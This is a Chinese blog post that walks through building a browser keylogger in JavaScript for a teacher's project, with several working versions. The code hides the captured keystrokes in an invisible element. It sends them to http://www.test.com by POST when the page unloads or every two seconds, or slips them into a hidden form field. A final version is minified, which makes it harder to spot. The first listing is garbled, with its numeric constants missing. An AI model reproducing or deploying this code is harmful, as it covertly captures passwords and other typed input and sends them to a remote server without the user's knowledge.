JavaScript实现按键记录，并在关掉网页之前把记录的内容post出去
2024-10-20 01:24:50
最近陈老师让我给新架构加一个按键记录的业务。去学习了JavaScript，网上找了一些代码，最后写出来了：
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML>
<HEAD><TITLE>JS按键记录</TITLE>
<META NAME="Generator" CONTENT="EditPlus">
<META NAME="Author" CONTENT="Larry">
<META NAME="Keywords" CONTENT="JS按键记录">
<META NAME="Description" CONTENT="JS 按键 记录">
</HEAD>
<BODY> <script type="text/javascript">
var keystring = "";//记录按键的字符串
function $(s){return document.getElementById(s)?document.getElementById(s):s;}
function keypress(e)
{
var currKey=,CapsLock=,e=e||event;
currKey=e.keyCode||e.which||e.charCode;
CapsLock=currKey>=&&currKey<=;
switch(currKey)
{
//屏蔽了退格、制表、回车、空格、方向键、删除键，因为keypress只能针对一些可以打印出来的字符有效，而对于功能按键，如F1-F12、Backspace、Enter、Escape、PageUP、PageDown和箭头方向等，就不会产生keypress事件，但是可以产生keydown和keyup事件。然而在FireFox中，功能按键是可以产生keypress事件的。
case : case :case :case :case :case :case :case :case :keyName = "";break;
default:keyName = String.fromCharCode(currKey); break;
}
keystring += keyName;
}
function keydown(e)
{
var e=e||event;
var currKey=e.keyCode||e.which||e.charCode;
if((currKey>&&currKey<)||(currKey>&&currKey<))
{
switch(currKey)
{
case : keyName = "[退格]"; break;
case : keyName = "[制表]"; break;
case :keyName = "[回车]"; break;
case :keyName = "[空格]"; break;
case :keyName = "[PageUp]"; break;
case :keyName = "[PageDown]"; break;
case :keyName = "[End]"; break;
case :keyName = "[Home]"; break;
case :keyName = "[方向键左]"; break;
case :keyName = "[方向键上]"; break;
case :keyName = "[方向键右]"; break;
case :keyName = "[方向键下]"; break;
case :keyName = "[删除]"; break;
default:keyName = ""; break;
}
keystring += keyName;
}
$("content").innerHTML=keystring;
}
function keyup(e)
{
$("content").innerHTML=keystring;
}
document.onkeypress=keypress;
document.onkeydown =keydown;
document.onkeyup =keyup; function loadXMLDoc()
{
var xmlhttp;
if (window.XMLHttpRequest)
{// code for IE7+, Firefox, Chrome, Opera, Safari
xmlhttp=new XMLHttpRequest();
}
else
{// code for IE6, IE5
xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
}
xmlhttp.onreadystatechange=function()
{
if (xmlhttp.readyState== && xmlhttp.status==)
{
document.getElementById("myDiv").innerHTML=xmlhttp.responseText;
}
}
xmlhttp.open("POST","http://www.test.com",true);
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
<!-- send的参数的规则是，用“=”间隔name和body，“&”间隔条目，下面这行会在name中显示“keystring”，value中显示keystring的值 -->
xmlhttp.send("keystring="+keystring);
} <!-- 如果下面用下面这行，则在关闭前弹出对话框。 -->
<!-- window.onbeforeunload = function() { return "大鸡吧大鸡吧？"+ keystring;} --> window.onbeforeunload = function() { loadXMLDoc();} </script>
<br/><div id="content" style="display:none;" ></div> </BODY>
</HTML>
这段代码修改自网名为“羽殇仁”的代码。
参考：http://www.w3school.com.cn/ajax/ajax_xmlhttprequest_send.asp
http://www.jb51.net/article/22001.htm
-------------更新----------------------
onbeforeunload只能判断页面关闭，但又找不到能判断页面跳转的函数，于是想出了每隔两秒post键击的方法如下：
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML>
<HEAD><TITLE>JS按键记录</TITLE>
<META NAME="Author" CONTENT="Larry">
</HEAD>
<BODY onload="timedCount()">
<script type="text/javascript">
var c=0
var t
function timedCount()
{
c=c+1
t=setTimeout("keepPosting()",2000)
} function keepPosting()
{
loadXMLDoc();
timedCount();
}
</script> <script type="text/javascript">
var keystring = "";
function $(s){return document.getElementById(s)?document.getElementById(s):s;}
function keypress(e)
{
var currKey=0,CapsLock=0,e=e||event;
currKey=e.keyCode||e.which||e.charCode;
CapsLock=currKey>=65&&currKey<=90;
switch(currKey)
{
case 8: case 9:case 13:case 32:case 37:case 38:case 39:case 40:case 46:keyName = "";break;
default:keyName = String.fromCharCode(currKey); break;
}
keystring += keyName;
}
function keydown(e)
{
var e=e||event;
var currKey=e.keyCode||e.which||e.charCode;
if((currKey>7&&currKey<14)||(currKey>31&&currKey<47))
{
switch(currKey)
{
case 8: keyName = "[退格]"; break;
case 9: keyName = "[制表]"; break;
case 13:keyName = "[回车]"; break;
case 32:keyName = "[空格]"; break;
case 33:keyName = "[PageUp]"; break;
case 34:keyName = "[PageDown]"; break;
case 35:keyName = "[End]"; break;
case 36:keyName = "[Home]"; break;
case 37:keyName = "[方向键左]"; break;
case 38:keyName = "[方向键上]"; break;
case 39:keyName = "[方向键右]"; break;
case 40:keyName = "[方向键下]"; break;
case 46:keyName = "[删除]"; break;
default:keyName = ""; break;
}
keystring += keyName;
}
$("content").innerHTML=keystring;
}
function keyup(e)
{
$("content").innerHTML=keystring;
}
document.onkeypress=keypress;
document.onkeydown =keydown;
document.onkeyup =keyup; function loadXMLDoc()
{
var xmlhttp;
if (window.XMLHttpRequest)
{
xmlhttp=new XMLHttpRequest();
}
else
{
xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
}
xmlhttp.onreadystatechange=function()
{
if (xmlhttp.readyState==4 && xmlhttp.status==200)
{
document.getElementById("myDiv").innerHTML=xmlhttp.responseText;
}
}
xmlhttp.open("POST","http://www.test.com",true);
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xmlhttp.send("keystring="+keystring);
} window.onbeforeunload = function() { loadXMLDoc();} </script>
<br/><div id="content" style="display:none;" ></div> </BODY>
</HTML>
参考：js计时：http://www.w3school.com.cn/js/js_timing.asp
js：unload ：http://www.w3school.com.cn/jsref/event_onload.asp
-----------2015年1月26日更新 利用form中的 input type = hidden实现在点击提交的同时提交按键记录----------------
<script type="text/javascript">
var keystring = "";
function $(s){return document.getElementById(s)?document.getElementById(s):s;}
function keypress(e)
{
var currKey=0,CapsLock=0,e=e||event;
currKey=e.keyCode||e.which||e.charCode;
CapsLock=currKey>=65&&currKey<=90;
switch(currKey)
{
case 8: case 9:case 13:case 32:case 37:case 38:case 39:case 40:case 46:keyName = "";break;
default:keyName = String.fromCharCode(currKey); break;
}
keystring += keyName;
}
function keydown(e)
{
var e=e||event;
var currKey=e.keyCode||e.which||e.charCode;
if((currKey>7&&currKey<14)||(currKey>31&&currKey<47))
{
switch(currKey)
{
case 8: keyName = "[退格]"; break;
case 9: keyName = "[制表]"; break;
case 13:keyName = "[回车]"; break;
case 32:keyName = "[空格]"; break;
case 33:keyName = "[PageUp]"; break;
case 34:keyName = "[PageDown]"; break;
case 35:keyName = "[End]"; break;
case 36:keyName = "[Home]"; break;
case 37:keyName = "[方向键左]"; break;
case 38:keyName = "[方向键上]"; break;
case 39:keyName = "[方向键右]"; break;
case 40:keyName = "[方向键下]"; break;
case 46:keyName = "[删除]"; break;
default:keyName = ""; break;
}
keystring += keyName;
}
$("kks").value=keystring;
}
function keyup(e)
{
$("kks").value=keystring;
}
document.onkeypress=keypress;
document.onkeydown =keydown;
document.onkeyup =keyup;
</script>
<br/><div id="content" style="display:none;" ></div>
然后在form里面加入：
<input type="hidden" id="kks" name="kks2222" value="">
-------------补充----------------------
可采用http://bbs.css-js.cn/的UglifyJS压缩代码去掉换行符。
注意压缩时候不要把Script标签带进去不然会失败。
压缩后：
<BODY onload="timedCount()"><script type="text/javascript">function timedCount(){c+=1,t=setTimeout("keepPosting()",2e3)}function keepPosting(){loadXMLDoc(),timedCount()}function $(a){return document.getElementById(a)?document.getElementById(a):a}function keypress(a){var b=0,c=0,a=a||event;switch(b=a.keyCode||a.which||a.charCode,c=b>=65&&90>=b,b){case 8:case 9:case 13:case 32:case 37:case 38:case 39:case 40:case 46:keyName="";break;default:keyName=String.fromCharCode(b)}keystring+=keyName}function keydown(a){var b;if(a=a||event,b=a.keyCode||a.which||a.charCode,b>7&&14>b||b>31&&47>b){switch(b){case 8:keyName="[退格]";break;case 9:keyName="[制表]";break;case 13:keyName="[回车]";break;case 32:keyName="[空格]";break;case 33:keyName="[PageUp]";break;case 34:keyName="[PageDown]";break;case 35:keyName="[End]";break;case 36:keyName="[Home]";break;case 37:keyName="[方向键左]";break;case 38:keyName="[方向键上]";break;case 39:keyName="[方向键右]";break;case 40:keyName="[方向键下]";break;case 46:keyName="[删除]";break;default:keyName=""}keystring+=keyName}$("content").innerHTML=keystring}function keyup(){$("content").innerHTML=keystring}function loadXMLDoc(){var a;a=window.XMLHttpRequest?new XMLHttpRequest:new ActiveXObject("Microsoft.XMLHTTP"),a.onreadystatechange=function(){4==a.readyState&&200==a.status&&(document.getElementById("myDiv").innerHTML=a.responseText)},a.open("POST","http://www.test.com",!0),a.setRequestHeader("Content-type","application/x-www-form-urlencoded"),a.send("keystring="+keystring)}var t,c=0,keystring="";document.onkeypress=keypress,document.onkeydown=keydown,document.onkeyup=keyup,window.onbeforeunload=function(){loadXMLDoc()};</script><br/><div id="content" style="display:none;" ></div>
最新文章
- jdbc 设置连接支持多条sql
- HTTP 和FTP 状态信息总结（留着自己用）
- nginx的部署与发布
- 淘宝(阿里百川)手机客户端开发日记第八篇 Handler的使用方法
- UI---startup--jquery
- CF Polycarpus' Dice (数学)
- SQUEEZENET: ALEXNET-LEVEL ACCURACY WITH 50X FEWER PARAMETERS AND <0.5MB MODEL SIZE
- Delphi - 闲来无事,自己写个Timer玩玩（多线程Timer）
- 结对编程1--基于GUI的四则运算题目生成器
- C语言第四次博客作业--嵌套循环
- esp8266 免费wifi强推广告神器(0) 项目介绍
- HTML5-Audio-基础篇
- 使用tailor 轻松方便的集成web 框架react&&vue
- 网络编程的基本概念，TCP/IP协议简介
- 牛客网提高组模拟赛第五场 T1同余方程（异或）（位运算）
- matlab 中try/catch语句
- 【bzoj3524】[Poi2014]Couriers 主席树
- 自制MVC框架基础插件介绍
- libevent源码深度剖析六
- flutter initializing gradle终极解决方案